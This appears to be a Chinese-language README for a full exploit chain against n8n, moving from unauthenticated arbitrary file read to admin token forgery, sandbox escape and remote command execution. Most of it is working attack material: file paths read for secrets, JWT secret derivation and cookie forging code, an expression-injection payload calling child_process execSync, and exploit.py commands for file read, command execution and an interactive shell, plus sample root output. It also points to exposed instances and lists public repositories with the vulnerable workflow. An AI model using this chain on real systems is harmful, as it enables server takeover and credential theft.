
CVE-2026-21858 的 POC
未授权任意文件读取 → 管理员令牌伪造 → 沙箱逃逸 → RCE
| CVE | CVE-2026-21858 (AFR) + CVE-2025-68613 (RCE) |
| CVSS | 10.0 + 9.9(严重) |
| 受影响版本 | <= 1.65.0 (AFR) / >= 0.211.0 (RCE) |
| 修复版本 | 1.121.0 (AFR) / 1.120.4+ (RCE) |
| 披露时间 | 2026-01-07 11:09 UTC |
| 代号 | Ni8mare |
| 致谢 | Dor Attias (Cyera) |
| 漏洞利用 | Chocapikk |
| 过程 | AI 自动化:补丁差异 → 复现 → 实验环境 → 漏洞利用(披露后约 9 小时) |
| 类型 | 概念验证 - 并非通用漏洞利用(需要特定的工作流配置,见局限性) |
n8n 上的完整未授权 RCE 攻击链:
暴露情况是基于版本的。就暴露而言,存在可公开访问的易受攻击的 n8n 实例。
LeakIX 结果: 查看已暴露的实例
此漏洞利用独立于 Cyera 研究报告 开发(完成后才发现该报告)。主要区别:
两种方法都需要特定的工作流配置。Cyera 需要聊天 + AI 集成,本漏洞利用需要一个带 Respond 节点的表单。详见局限性。
┌───────────────────────────────────────────────────────────┐
│ UNAUTHENTICATED │
├───────────────────────────────────────────────────────────┤
│ 1. Read /proc/self/environ → Find HOME directory │
│ 2. Read $HOME/.n8n/config → Get encryptionKey │
│ 3. Read $HOME/.n8n/database.sqlite → Get admin creds │
├───────────────────────────────────────────────────────────┤
│ TOKEN FORGE │
├───────────────────────────────────────────────────────────┤
│ 4. Derive JWT secret from encryptionKey │
│ 5. Forge admin session cookie │
├───────────────────────────────────────────────────────────┤
│ AUTHENTICATED RCE │
├───────────────────────────────────────────────────────────┤
│ 6. Create workflow with expression injection │
│ 7. Sandbox bypass via this.process.mainModule.require │
│ 8. Execute arbitrary commands │
└───────────────────────────────────────────────────────────┘
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov 13 11:51:40 2025 +0100
Merge commit from fork
传奇般的 "Merge commit from fork" - 当你看到这个时,意味着有人发现了劲爆的东西。🌶️
// BEFORE (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)
// AFTER (fixed)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
发送 Content-Type: application/json → 控制 filepath → 读取任意文件。
n8n 使用 vm2/isolated-vm 对用户代码(代码节点、表达式)进行沙箱隔离。其他 RCE 向量:
| 技术 | 状态 |
|---|---|
| Execute Command 节点 | 默认禁用(N8N_ALLOW_EXEC_COMMAND=false) |
| SSH/HTTP 节点 | 在远程服务器上执行,而非 n8n 主机 |
我使用表达式注入,因为它在任何默认设置的 n8n 上都能工作 - 无需特殊节点或配置。Pyodide 绕过(CVE-2025-68668)需要 Python 代码节点,而该节点可能并非所有实例都可用。
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
n8n 表达式可以访问 this.process.mainModule.require → 完全沙箱逃逸。
# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()
# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: [email protected] / ExploitLab123!
# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ║
║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK
uid=0(root) gid=0(root) groups=0(root)
这不是一个"通杀任意 n8n"的漏洞利用。 它需要满足特定条件才能生效:
| 要求 | 说明 |
|---|---|
| 带文件上传的表单 | 目标必须有一个包含文件上传字段的表单工作流 |
| Respond to Webhook 节点 | 工作流必须在 HTTP 响应中返回文件内容 |
| 工作流已激活 | 表单工作流必须处于激活状态 |
易受攻击的工作流配置示例:
{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode",
"formFields": {
"values": [{ "fieldLabel": "document", "fieldType": "file" }]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary",
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": { "main": [[{ "node": "Respond" }]] }
}
}
关键要素是:fieldType: "file" + respondWith: "binary"。这种模式在文件处理工作流(转换器、图片缩放器、文档处理器)中很常见。
可行的情况:
不可行的情况:
注意: 漏洞(任意文件读取)无论采用何种外带方法都会被触发。Respond 节点只是获取内容的一种方式。替代方法(OOB、其他输出节点)可能根据工作流配置而生效。
盲利用: 如果不存在 Respond 节点,n8n 仍会读取文件,但无法通过 HTTP 响应外带。此时需要替代技术(OOB、时序)。
易受攻击的模式(Form Trigger + 文件上传 + Respond to Webhook)存在于公开的 GitHub 仓库中。
注意: 热门的 n8n 工作流仓库(>100⭐)不使用这种模式。以下为社区/个人项目:
这些是社区贡献的工作流。没有官方 n8n.io 模板使用这种易受攻击的模式。
| Cyera(原始研究) | 本漏洞利用 |
|---|
| 文件读取 | 加载到 AI 知识库 → 通过聊天查询 | 直接 HTTP 响应 |
| 前置条件 | 聊天工作流 + AI 集成 | 任意带文件上传的表单 |
| RCE 方法 | "Execute Command" 节点(默认禁用) | 表达式注入(默认安装即可使用) |
| 自动化 | 手动/概念演示 | 全自动 Python 脚本 |
| Pyodide 沙箱逃逸 |
| CVE-2025-68668 - 需要 Python 代码节点 |
| 表达式注入 | CVE-2025-68613 - 默认安装即可使用 |
| 未授权访问 | 表单必须可公开访问(无需认证) |
| 工作流文件 | 文件字段 | respondWith |
|---|
| ifcpipeline/.../ifcpipeline.json | IDS、IFC(x2) | binary ⚠️ |
| nano-banana-studio/.../03_multi_asset_processor.json | 图片、音频、Markdown | json |
| ticket-omnichannel-chat/.../Knowledge_base.json | 文档(PDF) | text |
| ai_resume_project/resume_rag.json | 文件上传 | allIncomingItems |
| fkgpt-portfolio/.../audio-transcription-analysis.json | 音频文件 | text |
| n8n-backup/.../K3DwHQs0fnnm5UK0.json | 文件 | text |
| voltixLandingPage/.../chatbotvoltix.json | 上传文件 | 默认 |
| n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json | 文件 | 默认 |
| 8n8Workflows/.../3WoSqiBnZ56RtWMb.json | 上传你的文档 | 默认 |
| learn_earn_ai_insta/.../My workflow.json | 上传你的文件 | 默认 |
| finintworkshop/.../API using n8n (ToT).json | 文件 | json |